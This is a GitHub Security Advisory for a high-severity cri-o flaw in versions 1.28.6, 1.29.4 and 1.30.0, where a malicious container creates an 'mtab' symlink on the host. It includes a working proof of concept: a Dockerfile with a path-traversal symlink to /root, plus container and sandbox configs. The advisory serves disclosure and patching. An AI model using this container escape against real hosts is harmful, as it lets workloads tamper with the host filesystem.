Loading HuntDB...

GHSA-j9hf-98c3-wrm8

GitHub Security Advisory

malicious container creates symlink "mtab" on the host External

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

### Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:
```
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

```

and this container config:

```
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}

```
and this sandbox config
```
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}

```

will create a file on host `/host/mtab`

### Patches
1.30.1, 1.29.5, 1.28.7

### Workarounds
Unfortunately not

### References
_Are there any links users can visit to find out more?_

Affected Packages

Go github.com/cri-o/cri-o
Affected versions: 1.28.6 (fixed in 1.28.7)
Go github.com/cri-o/cri-o
Affected versions: 1.29.4 (fixed in 1.29.5)
Go github.com/cri-o/cri-o
Affected versions: 1.30.0 (fixed in 1.30.1)

Related CVEs

Key Information

GHSA ID
GHSA-j9hf-98c3-wrm8
Published
June 4, 2024 6:12 PM
Last Modified
December 11, 2024 6:30 AM
CVSS Score
7.5 /10
Primary Ecosystem
Go
Primary Package
github.com/cri-o/cri-o
GitHub Reviewed
✓ Yes

Dataset

Last updated: June 18, 2025 6:25 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.